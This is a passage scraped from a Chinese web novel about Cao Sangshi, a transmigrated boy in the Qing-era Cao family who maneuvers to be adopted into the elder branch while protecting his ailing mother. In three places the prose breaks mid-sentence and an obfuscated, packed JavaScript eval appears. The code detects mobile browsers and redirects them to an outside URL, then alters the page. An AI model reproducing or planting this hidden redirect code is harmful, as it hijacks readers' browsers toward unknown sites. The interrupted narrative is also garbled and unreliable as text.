不说这话还好。 提起这话,孙老夫人更是连连叹气。 在孙嬷嬷追问之下,孙老夫人这才开口道:“……昨日我听你说起卫姨娘一心求死,想要将頫儿送到东府,心里很是不舒服,昨夜几乎是一宿没睡着。” “当娘的总是设身处地为孩子着想,卫姨娘这样做我并不奇怪。” “老二媳妇是个什么性子我更是清楚,想必她不撺掇就不错了,哪里会阻拦?” “只是我没想到頫儿竟看起来如从前一样。” 孙嬷嬷一愣,这才想起昨日之事:“怪不得您昨日傍晚念叨着想见见五爷,原来是因这件事?” “没错。”孙老夫人点点头,道,“他们这些庶出的孩子打小就是养在生母身边的,也就每日前去给嫡母请安,頫儿这孩子向来聪明,哪里不知卫姨娘绝食求死?哪里不知卫姨娘的打算?” 说着,她长长叹了口气:“可昨日傍晚他青睐给我请安时,不仅没有提起此事,甚至神色如常,就连身上的衣裳也换了,想来也是愿意过继到东府的。” “我想要挑的是个能支应门庭的孩子,而不是个白眼狼。” “他连养育自己七八年生母的性命都不在乎,你还指望他能在意什么?以后会对老大媳妇孝顺吗?” 孙嬷嬷一时间竟无法反驳。 孙老夫人想了会,又问道:“曹桑实这孩子今日又来找秦院判了吗?” 她老人家虽日日躺在床上养病,但萱瑞堂乃至曹家,却没什么事情能瞒得住她。 “今日六爷也来了。”孙嬷嬷不明所以,点头道,“这几日秦院判不仅不大搭理六爷,甚至六爷在茶房,他就躲出去。” 她摇摇头道:“可惜,六爷根本不在意,索性与秦院判身边那两个小药童套起近乎来。” 秦院判身边的两个小药童都是跟在他身边多年的人。 孙老夫人笑了笑,道:“这孩子病了一场,倒是比从前聪明伶俐了许多。” “从西府兰畹到萱瑞堂,少说有一刻多钟的脚程,这几日天气不好,路上花费的时间只多不少。” “这孩子,倒是孝顺的很。” 说着,她就吩咐道:“既这孩子几次想来给我请安,就叫他进来吧。” 当曹桑实听说要进去给孙老夫人请安时,他正围在一个小药童身边叽叽喳喳说个不停,小药童不怎么答话他也不在意,毕竟姜姨娘的身子是越来越糟。 今日他出门时姜姨娘昏睡着,他叫了姜姨娘几声,姜姨娘都没听见。 他是一刻都等不得。 曹桑实对着前来传话的木槿道:“祖母要见我吗?木槿姐姐莫不是弄错了?” “这话是孙 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他担心姜姨娘仍在睡着,所以便放缓了脚步。 谁知他刚走到门口,就见着姜姨娘正强撑着身子,将那碗药往一旁的花木中倒。 四目相对。 姜姨娘眼中有几分心虚。 曹桑实却是脸色大变,生气道:“姨娘,您这是做什么?你为何不肯好好喝药?” 他这些日子天天早出晚归在外装孙子,没想到竟是后院失了火? 姜姨娘自是知道这几日儿子辛辛苦苦在忙些什么。 她眼里有慌乱与自责一闪而过。 但很快,她却是决绝开口道:“莽儿,是姨娘对不起你。” “这么多年,若非姨娘拖累你,你父亲哪里会看都不愿看你一眼?连些丫鬟婆子都能骑到你头上!” “若姨娘死了,兴许大夫人会看在你可怜的份上,将你过继到长房……” “不!我不同意!”曹桑实紧紧握着姜姨娘的手,一脸严肃,“这只是您的想法,您既想将我过继到东府,问过我的意思没有?” “我今日就和您说实话,若您死了,我也不活了。” “您若想要我健健康康,长命百岁的,就强撑着打起精神来,莫要想这些有的没的。” 他看着眼前这头脑简单的姜姨娘,顿时想起了他上辈子的母亲,两人真是一样样的,他不护着都不行:“再说了,伯母出身尊贵,要将谁过继到东府得她点头,就算您死了,这事儿也成不了……” 曹桑实好说歹说后,姜姨娘总算熄了这不该有的心思。 他们不知道的是,方才张乳母正偷偷摸摸守在廊下,听到这番话后,忙不迭一路小跑去了萱瑞堂。 待姜姨娘喝了药睡下,曹桑实刚出门,就见到了瑁儿。 瑁儿含笑道:“六爷,老夫人请您过去萱瑞堂一趟呢。” 曹桑实不明所以,只觉这几日孙老夫人的“善心”来的格外奇怪。 曹桑实很快行至萱瑞堂里屋。 屋内除去孙老夫人并孙嬷嬷主仆两人,再无一人。 曹桑实已经察觉到有些奇怪。 “不必拘束,坐吧。”孙老夫人瞧他一脸警觉,愈发觉得自己没有看错人,“我今日来是想与你商量一件事。” 曹桑实见不远处的炕桌上摆着带骨鲍螺、马蹄杏仁酥等小孩子爱吃的糕点,心知这些糕点都是为他特意准备的,顿时有种不祥的预感。 孙老夫人却卖起关子来。 “你可知我要与你商量什么事?” “孙儿不敢欺瞒祖母。”曹桑实不卑不亢,认真道,“若我没有猜错的话,应该是与东府过继子嗣一事有关。” 孙老夫人面上隐约有了些许笑意,转头看向孙嬷嬷道:“你看吧,我没有看错这孩子。” 再次回头,她直开门见山道:“你猜的没错,我有意将你过继到东府。” 对旁支选出的那几个孩子她已有所了解,没一个她看得中的,如今越看眼前的曹桑实越觉得满意:“你伯母那边,我自会去说和,至于姜姨娘,想必更是求之不得,如今就看你愿不愿意。” 但她也好,还是孙嬷嬷也好,都觉得这事儿也就走个过场。 这等好事,傻子才会不愿意呢! 8. 第 8 章 曹桑实心道果然如此。 他心里微微叹了口气,面露犹豫之色,道:“祖母,我不愿意。” “身体发肤受之父母,如今姨娘正病着,我只想要好好照顾姨娘。” “更不必说姨娘还活着,我认了旁人当母亲。” 孙老夫人面上的笑意顿时消失的一干二净,狐疑道:“你是因姜姨娘生病,所以才不愿意?” 曹桑实犹豫片刻,点头称是。 他总不能说不愿刚穿越身上就背负着三百万两银子的负债吧! 孙老夫人愈发觉得自己没看错人,略一沉吟,就道:“姜姨娘的病,我也听人说了,得贺大夫医治这么些日子仍未有起色,反倒越来越严重,想必已是无药可医,病入膏肓。” “若你愿意同意过继到东府,我老婆子会请秦院判替姜姨娘看病。” “秦院判的医术,你也知道,不说能起死回生,可许多不治之症到了他手上却能柳暗花明。” “你觉得如何?” 曹桑实:“……” 有点心动怎么回事。 他知道他一直求而不得之事到了孙老夫人这儿,也就几句话的事。 他小脑袋瓜子转得很快,历史上曹颙去世后,曹頫被过继成曹寅与李氏的嗣子,年纪轻轻的他成为新一任江宁织造。 这人虽才能出众,但因临危受命,对公务并不擅长,再加上后来这人站错了队,将曹家推向深渊,曹家才落地抄家的境地。 若说后来雍正帝的发落针对有一半原因是因曹家的亏空,那还有一半原因则是曹家上了八阿哥的船,向来锱铢必较的雍正帝哪里会放过曹家? 就算自己拒绝了孙老夫人,来日曹頫走上老路,他一样没好日子过! 穿越而来的曹桑实原想着治好姜姨娘的病,母子二人找个机会离开曹家,但来到大清的时间越久,他越发觉得此事不大可能,就算顺利曹家,他们孤儿寡母该如何生存?还不如……他带着曹家上下几百口人走上正道。 转瞬之间,他就已改变主意。 “都说家有一老如有一宝,您果然是我们家的主心骨,一抬眼就知道我想要什么。” 他抬眼对上孙老夫人,轻声道:“不过以母亲的性子,就算秦院判治好了姨娘的病,母亲也不会轻易罢休的。” “到了那时候,孙儿住在东府,养在伯母名下,若姨娘有个闪失,根本无法顾及。” “是,你说的很有道理。”孙老夫人点点头,心知他并未像方才那样一口回绝,足以见过继一事尚有回旋的余地,“那你还可有什么别的法子?” 曹桑实认真道:“在孙儿看来,先叫秦院判给姨娘治好病,然后,叫姨娘假死离开曹家。” “当然,姨娘只是一弱女子,这么多年连西府的大门都没跨出去过,她假死之后免不了要祖母派人照拂……” 短短几句话的时间,这一老一小已达成共识。 孙老夫人也承诺曹桑实,会将自己名下的一个小庄子给姜姨娘养老,不仅会拨几个丫鬟婆子过去,就连护卫也不会少。 到了最后,她老人家更是道:“就算有朝一日我老婆子死了,你长大了,在东府站住了脚,谁还敢为难姜姨娘?” “你是个聪明稳重的孩子,这个道理,你应该也清楚。” 聪明稳重? 曹桑实对这话心存怀疑,他勉强与前两个字沾边。 至于他这身体的主人,也就勉强与后两个字沾边。 不说别的,就说他这具身体的主人,看的绣像,没几天就忘得是一干二净,显然这脑子不太好使。 正当他准备委婉与孙老夫人提上两句时,就听到有个小丫鬟站在门口传话。 “老夫人,二夫人带着五爷过来了。” 孙老夫人道:“叫他们进来吧。” 很快。 常二夫人就带着曹頫走了进来。 常二夫人也就四十多岁的样子,模样端庄秀丽,浑身上下恨不得被珠宝首饰堆满,笑眯眯的,不知道的人见了定以为她是个极好相处的人。 她一进来,那不喜的眼神就落在了曹桑实身上。 “哦,原来桑实也在这儿啊!” 曹桑实起身道:“母亲。” 常二夫人不喜几个庶子庶女,在曹家是人尽皆知。 也就在孙老夫人跟前,她愿意装上一装,装模作样叮嘱曹桑实几句天气冷要注意身子之类的话。 紧接着,她便看向孙老夫人道:“母亲,頫儿这孩子孝顺,知道您病了,便记挂在心里。” “所以我便今日带他过来看看您。” 曹桑实这才注意到常二夫人身边的曹頫,曹頫也就七八岁的模样,长得唇红齿白,很是好看,今日他身上穿了件滚毛边簇新的石青起花八团袄,脖子上挂了个金项圈,很讨喜的样子。 两人四目相对,曹桑实冲他咧嘴一笑。 谁知他却是连看都没看一眼,就扭过头去。 曹桑实:“……” 好吧,他们现在是竞争关系! 曹頫母子打小就在常二夫人手下讨生活,可比曹桑实会来事许多。 如今他已关切上前问起孙老夫人近来身子好些了没,又拿出自己这几日的功课来给孙老夫人看,逗得孙老夫人眉眼中隐隐带笑。 相比起来,一旁的曹桑实就像小傻子似的,索性他很快就告辞回去了兰畹。 姜姨娘听说此事后自激动的泪如雨下,直说老天开眼,更是道:“……莽儿,你放心好了,这件事既是老夫人提起,就一定能成的。” “大夫人,大夫人……虽性子冷清,但向来孝敬老夫人,以后你去了大夫人身边,定要乖乖听话,莫要顽皮,知道了吗?” 她边说边掉眼泪,一时间竟不知自己是高兴还是伤心。 寻常都是当娘的为儿子打算,可她倒好,是一味的拖累儿子。 “姨娘,您别哭了,您本就病着,要爱惜自己的身子。”曹桑实替姜姨娘擦去她脸上的眼泪珠子,低声道,“这件事您莫要对外说,谁都不能说,知道的人越少越好。” “以后我会时常去庄子上看您的,若你想我了,也可以差人送信给我,我去瞧您。” 母子二人正说着话,玉树就说秦院判来了。 秦院判一来,兰畹上下的人都清楚这是孙老夫人的意思,一个个是震惊不已,直议论难道真是自家小主子的不要脸打动了老夫人? 秦院判一进来,曹桑实就忙站起身道:“秦院判,您来了。” “既老夫人已经发话,我自然要走这一趟的。”秦院判神色如常,但不免多看了他两眼,“你倒是个有孝心的好孩子,也不枉费你姨娘生你养你一场。” 略寒暄几句,他就上前给姜姨娘把脉。 他与贺大夫的说辞一样,直说姜姨娘是积郁成疾。 但不一样的是,他却说姜姨娘还有得治,直说贺大夫的药方子过于保守。 到了最后,他更是道:“……我先开个药方子吃上十日,十日之后再换个调养的药方,换药方之后姜姨娘得每日下床动一动,若这样一直躺着,对身体是百害而无一利。” “按照我那调养的药方再吃上十天半个月,应该就没有大碍,只是得好生养着,莫要多思多虑。” “好,您说的话我都记下了!”曹桑实头点得像小鸡啄米一样,眼里更是亮晶晶的,“秦院判,您可真厉害!” 他都想好了,等着姜姨娘去了庄子上,就叮嘱姜姨娘日日养花种草,一日日下来,不仅能够强身健体,还能叫姜姨娘胃口大开,何愁身子好不起来? 秦院判该交代的都交代完了,曹桑实便亲自送他出门。 不过半日的时间,整个西府都知道了秦院判替姜姨娘治病的消息。 常二夫人气的又砸了一套茶盅,命人将黄妈妈喊来骂了个狗血喷头。 黄妈妈心里是有苦说不出,直说自己会弄清楚此事。 黄妈妈从正院一回来,就直奔曹桑实屋子而来。 此时的曹桑实正坐在书房。 他的小书房布满灰尘,但他却顾不上这些,坐在书桌前苦思冥想——到底有什么生意能快速赚够三百万两银子! 他正想得出神,就听到了脚步声。 他扭头一看,这人不是黄妈妈还能是谁? “哟,这不是黄妈妈吗?说是你先前病了,没有三两个月好不了!” “没想到妈妈这病好的还挺快的呀!” 黄妈妈一愣,只觉眼前这娃娃与从前不一样呢。 但她耳畔回想着常二夫人的责骂,务必要她弄清楚今日之事到底是老夫人一时心善还是有意抬举曹桑实,如今她只能舔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143033|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸道:“六爷说的这叫什么话?” “奴婢纵然在养病,却无时无刻不记挂着您与姜姨娘,一听说姜姨娘有幸得秦院判医治,就赶快过来看看。” “姜姨娘吉人自有天相,想必定会没事儿的……” 直至此时,她仍没将眼前这个五岁半的小娃娃放在眼里,甚至没有多虚与委蛇几句,话里话外皆是打听之意。 天已黑透,窗外寒风呼呼。 曹桑实对上黄妈妈那双期待的眼睛,却是大大打了个哈欠,道:“妈妈的问题太多,我实在不知道先回答哪个,索性就先不回答了吧。” “我有点困了,要回去睡觉。” 黄妈妈急得直跺脚,却不敢逼问太甚。 接下来几日里。 黄妈妈就像那赶不走的苍蝇整日围在曹桑实身边。 一开始她话里话外皆是打听之意,但见曹桑实不接话,索性打起感情牌来,话里话外皆是若她不弄清楚这件事,常二夫人就饶不了她。 曹桑实见她说的眼泪婆娑,实则心里却想的是:哟,在这儿装绿茶了? 巧了,他也是绿茶,而不是五六岁的小娃娃,根本不会上当,任凭着黄妈妈等人怎么说怎么劝,要么是装傻要么是不接话。 黄妈妈几日在常二夫人跟前挨了骂,不知道多着急。 曹桑实懒得搭理黄妈妈,眼见着姜姨娘身子一日日好起来,整个人面上也多了几分笑。 就在这时,他听说旁支家的几个孩子都已来到曹家东府,知道怕是过不了几日事情就能尘埃落定,便想着多陪陪姜姨娘。 这日一大早,曹桑实正陪着姜姨娘吃早饭呢,就有小丫鬟匆匆忙忙小跑了进来。 “六爷,姨娘,二夫人来了!” 曹桑实明显发现姜姨娘身子一僵,有几分紧张的样子。 怨不得姜姨娘这般紧张,实在是在她心里常二夫人就是那会吃人的老虎,说起来常二夫人上次登门兰畹还是她有孕的时候。 曹桑实却是自顾自喝粥,轻声道:“姨娘,您莫要害怕,有儿子在呢。” 很快,常二夫人就带着人浩浩荡荡走了进来。 这一刻,曹桑实才发现当日常二夫人前去萱瑞堂请安时还顾着曹寅尚在孝期,有所收敛,今日的常二夫人打扮的那叫一花枝招展,浑身上下皆是宝贝,就像后世的圣诞树似的。 更不必提她身后跟了十几个丫鬟婆子,她们一进来,原本空荡荡的屋子顿时显得有些逼仄起来。 带这么多人进来,想要打架? 曹桑实心知常二夫人打算以势压人,与姜姨娘一起上前请安。 “夫人。” “母亲。” 常二夫人微微颔首,边落座边四处打量一番,最后那眼神才落到姜姨娘面上。 她的眼神中带着不屑,说出口的话更是不大客气:“姜姨娘,起来吧,自大老爷去世后,我也没顾得上你们母子,如今见你们母子身子已好得差不多,我也能放下心来。” “你虽日日待在院子里不出门,想来也听说东府想过继个孩子,我想叫頫儿养在大嫂身边。” 不是商量,不是请求,而是吩咐。 毕竟在她心里,姜姨娘一向就是个软柿子,想怎么捏就怎么捏。 可惜,这次姜姨娘并未像从前一样言听计从,而是一味低头不语。 常二夫人见状,哪里还有不明白的? 这姜姨娘就是一不安分的,面上装的是与世无争,实则却是一肚子算计!竟连她的话都不听了! 她自顾自喝着茶,她身后的桂妈妈就上前道:“姜姨娘这是做什么?莫不是心里对夫人不满?旁人不知道,奴婢却是知道的,在夫人心里,六爷与五爷可是一样的,毕竟六爷也喊夫人‘母亲’不是?” “这当母亲的,谁不盼着自己孩子好?六爷性子怯弱,就算真养在了大夫人身边,也不讨喜,没得惹人厌烦,还不如一直陪在您身边,您说是不是?没娘的孩子像根草,受不尽的委屈……” 说话间,她已接过一旁小丫鬟递上来的小匣子,笑道:“这里头装着三百两银子,您先收下用着,若是不够,以后只管朝夫人开口就是” 曹桑实有点无语。 区区三百两银子就想买走他这个“飞黄腾达”的名额,是欺负他们母子没见识,还是在这儿打发叫花子? 9. 第 9 章 好脾气的姜姨娘也是气的够呛。 三百两银子? 常二夫人随随便便一件首饰都不止这个价! 她正欲开口说话时,却见着身侧的儿子将小匣子接了过来,脆生生道:“多谢母亲。” 常二夫人将曹桑实当成个没见过世面的小崽子,眼底的讥诮和不屑愈浓:“一家人何必如此客气?虽说大老爷没了,但瘦死的骆驼比马大,以后若缺什么少什么直与你身边的黄妈妈开口。” 至于会不会答应,等着曹頫过继到东府后,还不是全看她的心情? 常二夫人很快就带着桂妈妈等人走了。 姜姨娘是迫不及待道:“莽儿,你,你怎么能答应她们?” “姨娘,我什么时候答应过?”曹桑实笑道,“方才二夫人也好,还是桂妈妈也好,皆要我们先拿了这三百两银子用着,有银子不要,那不是傻冒吗?” 他看了眼姜姨娘,道:“而且这样的事情,您觉得二夫人敢闹到祖母跟前吗?” “她呀,只能吃下这个闷亏。” “可是……以夫人的性子,哪里会善罢甘休?”姜姨娘依旧惴惴不安。 “姨娘,二夫人会不会善罢甘休是她的事,如何接招则是我们的事。”曹桑实握着姜姨娘吓得冰冷的手,正色道,“人要自己立起来,别人才能瞧得起你,若不然,就连桂妈妈黄妈妈等人都觉得我们母子好欺负。” “若有人趁我不在院中刁难您,您别生气也别哭,只一个劲儿闹着要去找祖母,看看她们怕不怕!” 姜姨娘这才点点头。 *** 因孙老夫人提前告知,曹桑实知道今日是李大夫人挑选继子的日子。 一大早,他就穿戴整齐,去了萱瑞堂。 萱瑞堂正房里,已有六个孩子站成一排。 这些孩子一个个都是七八岁的年纪,大概已听长辈说起到底是怎么一回事,皆低着头,小心翼翼的样子,生怕一不小心就与这泼天的富贵擦肩而过。 曹桑实刚到,曹頫就来了。 无长辈在场,曹頫更是毫无顾忌,面对着曹桑实喊他一声“五哥”,像没听见似的。 在场的都是半大的孩子,见无长辈和丫鬟在场,渐渐话多了起来。 一开始,大家只互相问询“你叫什么名字”或“今年几岁”之类的简单问题,熟络起来后,他们便问起“你家里为何要把你送过来”这些敏感的问题。 小孩子想法简单,一路从京城来江宁早已憋闷许久,很快就打开了话匣子。 有人说是家里人送他来曹家过好日子的,说曹颙堂兄虽只是五品的江宁织造,但在江南,就连总督巡抚都要给曹家面子。 有人说长辈们怎么安排他就怎么听话。 甚至还有人说听说曹颙堂兄身子也不好,兴许哪日就没了。 曹桑实原身是个寡言的,一直以来他担心露馅根本不敢多说话,但如今听到这话却是忍不住了:“……这位堂兄,你这样说话就不对了吧?哪里有既想吃人家锅里的饭,又盼着人家家里人早死的道理?” “也幸好此时没有长辈在场,若不然,早就将你轰出去了呢!” 方才开口说话的人名叫曹环,是曹桑实祖父隔壁房堂兄弟家的儿子,因家境寻常,瞧见富贵迷人眼的曹家后,晃得他眼睛都睁不开,打定主意一定要留下来。 曹环见开口的只是个五六岁的小孩子,顿时满脸涨得通红,没好气道:“你,你在这儿装什么呢!” “咱们这些人谁心里不是这样想的?只过继到伯母膝下,也就只能享那荣华富贵,但若是颙堂兄没了,这江宁织造的位置就是我的呢。” “有权才能有钱,要不然为何天下人都要争当读书人,而不去当商户?” 他这话一出,虽无人敢附和,但曹桑实隐隐约约却能从他们眼里看到赞同。 曹桑实却是冷哼一声道:“人在做天在看,若你心怀不轨,定会遭雷劈的!” 他也很想在众人瞩目之下引经据典,舌战群儒。 只是可惜,唉,他脑子里根本没什么文采,要他装装绿茶还行,装大文豪,实在是为难他。 一旁一直没说话曹頫却是忍不住撞了撞曹桑实的胳膊,没好气道:“你怎么来了?” 曹桑实没接话。 曹頫又撞了撞他的胳膊:“喂,我和你说话呢,你怎么来了!” “母亲不是说你不会与我争吗?” 曹桑实不咸不淡扫了他一眼,慢悠悠道:“哦,五哥你这是在和我说话呢,我还以为你眼睛长在头顶上,不屑与我说话呢。” “你……”曹頫对上变得牙尖嘴利的弟弟,气的不行,却是锲而不舍道,“你为什么会来?” “五哥这话说的好生有意思,为什么我不能来?是祖母叫我来的呀!”曹桑实脆生生道,“你有本事去问母亲啊!” 说着,他更是挑衅道:“母亲说我今日不会来,我可没说过这话!” 曹頫气的脸色都变了。 但曹桑实却仍是悠然自得吃糕点。 殊不知,他们的一举一动都落在窗外的丫鬟玳儿的眼里。 玳儿很快将自己所见所闻说给孙老夫人听了。 孙老夫人嘴角含笑,微微颔首道:“这孩子,果然没叫我看错。” 李大夫人已知晓婆母选中了曹桑实,但她却对这人不大满意的,如今皱眉道:“那个叫曹环的孩子,刚来曹家时还来给我请过安,看着是个乖觉老实的,没想到却是一肚子坏水。” “至于曹桑实,我对这孩子没什么印象,既然您说好,想必错不了,只是……” “你可是因姜姨娘一事对这孩子不喜?”孙老夫人问道。 李大夫人如实应是。 孙老夫人却道:“姜姨娘是什么性子?常氏又是什么性子?常氏的话如何能轻信?” “说句不好听的,再借姜姨娘一个胆子,她也没胆子冲常氏下手的。” 说句不好听的,这话若从李氏或旁人嘴里说出来,她会信。 但常二夫人的话,她却是心存怀疑。 李大夫人一愣,继而又道:“既然如此,当年您为何没有彻查此事?” “彻查?如何彻查?紫禁城里头都多的是数不清的无头官司,更别说咱们曹家!”孙老夫人的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143034|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落在曹颙今日请安时送来的芍药花上,淡淡道,“更何况,当日常氏是人证物证俱全,他们两口子本就对我颇有成见,我何苦插手他们府中的那些破事?” 说着,她老人家苦笑一声道:“从前我觉得西府交到常氏手上迟早会坏事,如今看来,我想的没错。” “頫儿他们几个从前是多好的孩子啊,如今竟被常氏养成这个样子。” 李大夫人想着卫姨娘时日无多这事儿,只在心里长长叹了口气。 曹家上下,人人都说她性子冷清不好相处。 但叫她说,她这婆母的心比她硬了多。 在她婆母心里,没什么比曹家更重要。 若换成她,她可做不到眼睁睁看着姜姨娘蒙冤多年,见着卫姨娘丢了性命。 婆媳两人又说了几句,便一齐去了正房。 一见长辈们露面,方才如鸟雀一样叽叽喳喳的孩子们都像锯了嘴的葫芦。 曹桑实与众人一起上前给孙老夫人婆媳问安,不知道是不是他的错觉,他感觉李大夫人多看了他几眼,心知这件事稳了。 虽过继子嗣一事是大事,但孙老夫人婆媳并未像众人想象中那样考问他们,而是问起他们家中有什么人,如今读了些什么书,更是问他们有什么优点与缺点。 时人皆讲究自谦,一个个直说自己并无多少优点。 轮到曹桑实时,他认真道:“回祖母与伯母的话,我如今虽已开始启蒙,但所识的字并不多,也就学过《千字文》、《三字经》这些书。” “若说我有什么优点,那就是反应快,不会将自己困在条条框框里。” “可若说缺点,则是有点笨。” 他老气横秋叹了口气道:“我听说颙堂兄启蒙时,一本《千字文》不到半个月就学完了。” “但我却是整整学了三个月。” 这身体的脑子不大好使,他也不想呀,还是先把丑话说在前头的好。 谁知李大夫人听闻这话却是脸上难得见到几分笑意,若有所思道:“慧极必伤,人活的蠢笨简单些也不是什么坏事。” 大概是她想到了故去的丈夫和活不长的儿子,接下来便再未开口,一直是孙老夫人在问话。 孙老夫人身子尚未痊愈,略问了几句话后就叫曹桑实等人下去。 曹桑实等人只觉纳闷,特别是那个叫曹环的,更说昨夜自己已将《论语》等书又重新温习了一遍,谁知孙老夫人却什么都没问。 曹桑实懒得与他们多言,径直回到了兰畹。 还未等他来得及将这好消息告诉姜姨娘,就听说了卫姨娘没了的消息。 玉树跟在他身后,朝姜姨娘屋子走去,低声道:“……卫姨娘这些日子虽身子不大好,但据说前几日还能说话,今日突然没了,大概是自缢没的。” 曹桑实一愣。 直至有雪花飘进他眼睛里,他这才反应过来。 玉树皱眉道:“卫姨娘和夫人还以为这是西府的事,能瞒天过海呢。” “连奴婢都知道老夫人一向聪明,他们那点小伎俩,哪里能瞒得过老夫人的眼睛?好端端的人哪里会这样无缘无故的没了?” 10. 第 10 章 曹桑实抬手擦了擦眼睛。 不知是不是进了雪的缘故,他只觉得涩涩的。 他低声道:“卫姨娘既能教养出曹頫这样勤奋好学、惹人喜欢的孩子来,可见不是个蠢的,定能想到她自缢一事不能瞒天过海,不是靠着二夫人说上几句,祖母就会全信。” “只是她没有办法,想要为了曹頫的前程试一试而已。” 可为了一个未知的结果,就要搭上自己的性命,值得吗? 曹桑实觉得不值得。 但他知道,卫姨娘定觉得值得。 他愈发觉得同孙老夫人要求将姜姨娘假死送走是正确的选择,这地方,是会吃人的。 不过半日的时间。 卫姨娘没了的消息就传的是人尽皆知,她虽只是个妾,却是个听话的妾,常二夫人亲自去了一趟望月居,命人将曹頫接到了正院。 接下来,常二夫人又拿出五十两银子吩咐人将卫姨娘风光大葬。 五十两银子? 曹桑实从玉树嘴里听说这件事时心里是五味杂全。 他曾听姜姨娘说过,他那便宜父亲曹荃在世时很喜欢画画,尤其喜欢画梅,能够一掷千金花上八百两银子买一刀带着梅香的洒金宣纸。 如今,不过常二夫人从公中抽出五十两银子,落在众人嘴里就成了大善人? 曹桑实心里怪不是滋味的。 他从前只想着舒舒服服咸鱼躺,但如今看来,这法子却是行不通的。 他对卫姨娘并无什么印象,只记得卫姨娘是个很安静温婉的女子,应该说是西府的几个姨娘都是如卫姨娘、姜姨娘差不多的性子。 他正想着要不要去看看曹頫时,常二夫人身边就来人了。 曹桑实很快就去了正院。 这地方他来的很少,整个院落和常二夫人一样,奢华且张扬,恨不得将所有好东西都摆出来。 他跟在小丫鬟身后走进屋,率先看到的是脸色铁青的常二夫人,继而是哭红了眼睛的曹頫。 他道:“儿子给母亲请安。” “请安?你怎么还有脸给我请安?”常二夫人自曹荃去世后,在西府是说一不二,就连孙老夫人都懒得管她,她是愈发张狂跋扈,“当日你是怎么与我说的?既收了我的银子,还敢去和頫儿争?” 曹桑实皱眉道:“母亲这话是什么意思?不是您差人请我来的吗?” 说话间,他像没瞧见常二夫人面上的怒色一般:“您这地方,若不是您请我来,我可不愿过来。” “至于您说的我收了您银子与五哥相争,更是莫须有的罪名。” “一来,当日祖母就曾说过,不仅是西府,旁支适龄的孩子,都在挑选范围之内,可不是我非要争的。” “二来,那三百两银子,是您主动送到兰畹来的,谁还能与银子过不去吗?” 这下,别说常二夫人,就连曹頫都呆住了。 曹頫惊得连眼泪都忘了掉。 为何他这六弟病了一场,竟像变了个人似的! 紧接着,他更是听到曹桑实脆生生开口道:“今日母亲将我请到正院,不会又想着软硬兼施吧?我先将话说在前头,卫姨娘的死与我一点关系都没有。” “这条路既是卫姨娘自己选的,那她行事之前就该想到最坏的后果。” “这结果,不该由我来背。” 走别人的路,让别人无路可走。 他已率先将丑话说在前头,堵住了常二夫人等人的嘴。 果不其然,正欲开口的桂妈妈只能将到了嘴边的话咽下,转而又道:“六爷,话不是这样说的,您与五爷年纪相仿,又是亲兄弟,五爷以后得了好,难道还会忘了您?一家人,何必如此生分……” “妈妈这话说的,我觉得不对。”曹桑实看了眼常二夫人,道,“整个西府上下,可没谁将我们母子当成一家人。” “自姨娘生下我之后,无人照料我们母子也就算了,伯父去世后,我与姨娘病的差点丢了性命,却连个诊治的大夫都没有。” “难道妈妈是一样这样对自己家里人的?若真是如此……” 说到这里,他脆生生道:“若真是如此,那母亲得好好掂量掂量能不能再用妈妈你呢,毕竟这样心肠歹毒的人,怕是留不得。” 桂妈妈哑口无言。 曹桑实见他们主仆三人久久不说话,便道:“既然母亲没话要说,那我就先回去了,姨娘还病着,离不开我。” 还不等常二夫人发话,他转身就走。 这就走了?! 以桂妈妈为首的在场所有人内心惊愕不已。 果不其然,下一刻,常二夫人气的又开始砸了东西,更是嘴里乱叫,直说什么“他眼里还有没有我这个嫡母”“还反了这小贱蹄子,觉得自己抱上老夫人大腿就能上天了不成”之类的话。 但这话传到东府,李大夫人听到这话只觉颇为受用。 秀才遇上兵,有理说不清。 自她嫁进曹家,常二夫人就一直与她使绊子,她虽没将常二夫人放在眼里,但闷亏吃多了心里却多少有些不舒服。 她听说曹桑实如此“英勇”,对这孩子印象不免好了几分。 但就算如此,她仍想着与儿子曹颙商量商量此事。 李大夫人等着曹颙从衙门回来后,则与儿子说起此事:“……李家家风并不迂腐,我虽不认同‘夫死从子’这等缪言,但到底是咱们东府过继儿子,这孩子以后就是你的弟弟。” “所以这些事,总是要问问你的意见的。” 曹颙今年二十出头,模样酷似故去的曹寅,少年老成,面容苍白,如今他年纪轻轻就已是五品的江宁织造,一身官服穿在身上怎么瞧是怎么别扭。 他瞧着也就像是个文弱书生,而非朝中大员:“娘,既然祖母有意六弟,那就将六弟过继到东府吧。” “祖母侍奉着皇上长大,阅历见地远超寻常人,她老人家既如此选择,总是有她老人家的道理。” 李大夫人点点头,道:“既然如此,这事儿便这样定了吧。” 她虽性情冷清,却并不是个不讲道理的人。 更何况,她那婆母这件事上给足了她体面,就连在颙儿跟前也未曾施压过,向来吃软不吃硬的她自也不会拒绝。 李大夫人很快就去了萱瑞堂,婆媳两人达成一致。 翌日一早,孙老夫人就宣布将曹桑实过继到李氏名下。 此消息一出,自是东西两府哗然,众人明面上不敢说什么,私下却是议论纷纷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 